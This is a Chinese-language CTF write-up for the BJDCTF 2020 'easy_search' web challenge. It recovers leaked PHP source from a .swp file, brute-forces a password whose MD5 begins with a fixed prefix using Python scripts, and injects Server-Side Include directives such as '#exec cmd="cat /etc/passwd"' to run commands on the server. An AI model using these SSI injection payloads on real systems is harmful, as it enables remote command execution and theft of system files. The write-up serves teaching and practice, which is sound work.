BDJCTF-2020-Web-easy_search index.php
试了几个都弱口令都不行,看了看题目(easy_search),于是扫了扫目录,发现index.php.swp,down下来之后看到了源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php ob_start(); function get_hash ( ) { $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-' ; $random = $chars[mt_rand(0 ,73 )].$chars[mt_rand(0 ,73 )].$chars[mt_rand(0 ,73 )].$chars[mt_rand(0 ,73 )].$chars[mt_rand(0 ,73 )]; $content = uniqid().$random; return sha1($content); } header("Content-Type: text/html;charset=utf-8" ); if (isset ($_POST['username' ]) and $_POST['username' ] != '' ) { $admin = '6d0bc1' ; if ($admin == substr(md5($_POST['password' ]), 0 , 6 )) { echo "<script>alert('[+] Welcome to manage system')</script>" ; $file_shtml = "public/" . get_hash() . ".shtml" ; $shtml = fopen($file_shtml, "w" ) or die ("Unable to open file!" ); $text = ' *** *** <h1>Hello,' . $_POST['username' ] . '</h1> *** ***' ; fwrite($shtml, $text); fclose($shtml); echo "[!] Header error ..." ; } else { echo "<script>alert('[!] Failed')</script>" ; } }
开始代码审计…
逻辑:
首先验证是否存在’username’和’username’是否为空
验证password的md5值的前六位是否为’6d0bc1’
将’username’的写入文件名随机的以.shtml为拓展名的文件里面
解题 首先第一个条件很容易达到,关键是第二个怎么通过,想到了去md5网站随便找一个md5值,然后把前面6位改成”6d0bc1”然后再进行反向查询,好像8太行,全都是123456的结果
那只剩下随机数生成md5值然后验证前6位是不是”6d0bc1”
上python脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import hashlibimport randomdef encryption (chars ): return hashlib.md5(chars).hexdigest() def generate (): return str(random.randint(99999 ,1000000 )) def main (): start = "5e" while True : strs = generate() print "Test %s " % strs if encryption(strs).startswith(start): print "yes!" print "[+] %s " % strs + "%s " % encryption(strs) break else : print "no!" if __name__ == '__main__' : main() print '完成!'
这里用的是前六位跑了半天没有跑出来,于是把random.randint(99999,1000000)
改成7位也就是random.randint(999999,10000000)
最后跑出来是2020666
和2305004
或者
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import hashliba= "0123456789" for o in a: for p in a: for q in a: for r in a: for s in a: for t in a: for u in a: b = str(o)+str(p)+str(q)+str(r)+str(s)+str(t)+str(u) md5 = hashlib.md5(b.encode('utf-8' )).hexdigest() if ((md5[0 :6 ])=='6d0bc1' ): print(md5+"对应的值为:" +b)
md5()之前要进行encode(“utf-8”) 其中hexdigest()是返回16进制
构造payload:
成功绕过第二步!!!
得到了header里面生成的随机url,并且点开页面
接下来构造username进行注入
查了查百度
.shtml包含有服务器命令的文本,会在发送给浏览器之前,自动读取执行
百度百科
其中值得注意的是这些语法
1 2 3 <!--#include file="flag"-->将文本文件插入当前页面 <!--#exec cmd="cat /etc/passwd"-->执行系统命令 <!--#include virtual="/includes/header.html" --> 支持绝对路径包含文件
选用第二个来执行命令
没有发现flag,进入上一层看看
查看flag文件得到最终flag